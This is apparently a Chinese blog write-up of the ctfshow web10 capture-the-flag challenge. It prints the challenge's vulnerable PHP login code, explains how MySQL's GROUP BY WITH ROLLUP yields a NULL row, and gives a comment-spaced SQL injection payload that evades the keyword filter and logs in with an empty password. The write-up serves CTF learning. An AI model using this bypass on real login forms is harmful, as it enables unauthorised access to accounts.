ctfshow--web10 php代码逻辑漏洞with rollup注入

dirsearch没有扫到文件
查看源代码发现 有个style.css文件点击查看
image
查看index.phps代码
又是代码审计

点击查看代码
<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>

他这里preg_replace可以用双写绕过,但是过不了他的strlen检测,一时间不知道怎么绕过上网查了一下,发现其实是他php代码的配置不当导致的注入

原理如下:
先介绍一下with rollup的使用方法
with rollup通常和group by一起结合使用他会将每一列的数字相加并汇总到最后一行
例如
我有一个表长这样
image

我们按school来分组获取每个school的idd的总和
可以看到 因为有with rollup的命令在,他会额外创建最后一行将上面的所有结果相加并显示出来,这就是rollup的作用
image

现在我们来讲漏洞的原理:

这里我创建了一个表,其中id字段是int类型而passwd字段是char类型

image

那么我们在mysql中输入这句话

点击查看代码
select count(*),passwd from users group by passwd with rollup

可以看到在最后一行也就是with rollup帮我们汇总的一行,由于count(*)字段下的内容都是int类型能够相加,因此1+1+1=3
但是passwd的字段都是char类型,不能够相加因此出现null
image

那么利用这个特点构造payload

点击查看代码
admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#
因为password的字段的最后一行是null所以我们密码不用填写,在用户名输入payload即可。

这样就能登录成功了。即可获得flag

posted @ 2024-04-04 12:41  WSssSW  阅读(13)  评论(0编辑  收藏  举报